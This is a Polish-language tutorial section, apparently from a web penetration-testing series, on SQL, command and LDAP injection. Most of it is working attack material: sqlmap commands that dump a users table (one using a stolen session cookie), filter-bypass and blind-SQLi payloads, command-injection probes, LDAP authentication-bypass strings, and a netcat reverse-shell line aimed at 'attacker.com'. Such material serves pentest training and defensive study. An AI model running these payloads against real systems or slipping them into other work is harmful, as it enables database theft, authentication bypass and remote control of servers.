💉 Injection Attacks (SQL Injection, Command Injection, LDAP Injection)
Ataki typu Injection polegają na wstrzyknięciu złośliwego kodu do aplikacji webowej w celu manipulacji danymi lub wykonania nieautoryzowanych poleceń. W tej sekcji omówimy najczęściej spotykane rodzaje ataków: SQL Injection, Command Injection oraz LDAP Injection.
🛠️ SQL Injection
SQL Injection (SQLi) polega na manipulacji zapytaniami SQL w celu uzyskania nieautoryzowanego dostępu do bazy danych.
1️⃣ Wykorzystanie sqlmap
sqlmap
to narzędzie automatyzujące wykrywanie i eksploatację SQL Injection.
Podstawowe skanowanie
sqlmap -u "http://example.com/index.php?id=1" --dbs
Opcje:
--dbs
– wyświetla dostępne bazy danych--tables
– wyświetla tabele danej bazy danych--columns
– wyświetla kolumny w tabeli
Eksfiltracja danych
sqlmap -u "http://example.com/index.php?id=1" -D mydb -T users --dump
Wyciąga wszystkie rekordy z tabeli users
.
Wykorzystanie sesji i cookies
Jeżeli aplikacja wymaga autoryzacji:
sqlmap -u "http://example.com/profile.php?id=5" --cookie="PHPSESSID=xyz123" --dbs
🚀 Bypassowanie filtrów
Wiele aplikacji stosuje mechanizmy obronne, ale można je obejść stosując różne techniki:
1️⃣ Użycie znaków zastępczych
?id=1' OR '1'='1
2️⃣ Zmiana kodowania
W niektórych przypadkach można ominąć filtry poprzez enkodowanie znaków:
?id=1%27%20OR%20%271%27%3D%271
3️⃣ SQL Injection w JSON/API
Jeśli aplikacja komunikuje się przez API:
{"user": "admin' OR '1'='1", "password": "test"}
🔎 Blind SQLi i czasowe ataki
Jeżeli aplikacja nie zwraca błędów SQL, można wykorzystać Blind SQL Injection.
1️⃣ Boolean-based Blind SQLi
Sprawdzenie, czy aplikacja zwraca różne wyniki dla TRUE/FALSE:
?id=1' AND 1=1 --
?id=1' AND 1=2 --
Jeżeli pierwszy zwraca dane, a drugi nie – aplikacja jest podatna.
2️⃣ Time-based Blind SQLi
Jeśli aplikacja nie zwraca żadnych danych, można sprawdzić podatność przez opóźnienia:
?id=1' AND SLEEP(5) --
Jeśli serwer odpowiada z opóźnieniem, to aplikacja jest podatna na SQLi.
W sqlmap
:
sqlmap -u "http://example.com/index.php?id=1" --technique=T
🖥️ Command Injection
Command Injection pozwala na wykonanie poleceń systemowych poprzez podatną aplikację.
1️⃣ Wykrywanie podatności
Podstawowe payloady:
http://example.com/ping.php?host=127.0.0.1; id
http://example.com/ping.php?host=127.0.0.1 && whoami
2️⃣ Eksploatacja
Przykładowe wykorzystanie:
?host=127.0.0.1 | nc -e /bin/bash attacker.com 4444
📂 LDAP Injection
LDAP Injection jest atakiem na systemy uwierzytelniania oparte na LDAP.
1️⃣ Przykład podatnego zapytania
(&(user=admin)(password=mypassword))
Można go obejść poprzez:
admin)(&))(
2️⃣ LDAP Injection payloads
*)(&)
– bypassowanie autoryzacji*
– wyszukiwanie wszystkich użytkowników
Ataki Injection są jednymi z najczęściej wykorzystywanych podatności w aplikacjach webowych. Kolejnym krokiem będzie analiza podatności związanych z Broken Authentication & Session Management. 🔐